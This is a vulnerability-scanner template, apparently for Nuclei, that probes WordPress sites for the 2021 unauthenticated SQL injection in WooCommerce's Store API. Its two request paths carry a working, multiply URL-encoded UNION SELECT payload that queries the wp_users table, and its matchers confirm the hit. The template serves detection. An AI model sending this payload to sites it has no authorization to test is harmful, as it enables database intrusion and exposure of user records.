id: wordpress-woocommerce-sqli

info:
  name: Unauthenticated SQL injection Woocommerce
  author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot
  severity: critical
  tags: wordpress,woocomernce,sqli,wp-plugin,injection
  reference:
    - https://woocommerce.com/posts/critical-vulnerability-detected-july-2021
    - https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'
      - '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'sqli-test'
          - 'attribute_counts'
          - 'price_range'
          - 'term'
        condition: and

      - type: word
        words:
          - 'application/json'
        part: header

      - type: status
        status:
          - 200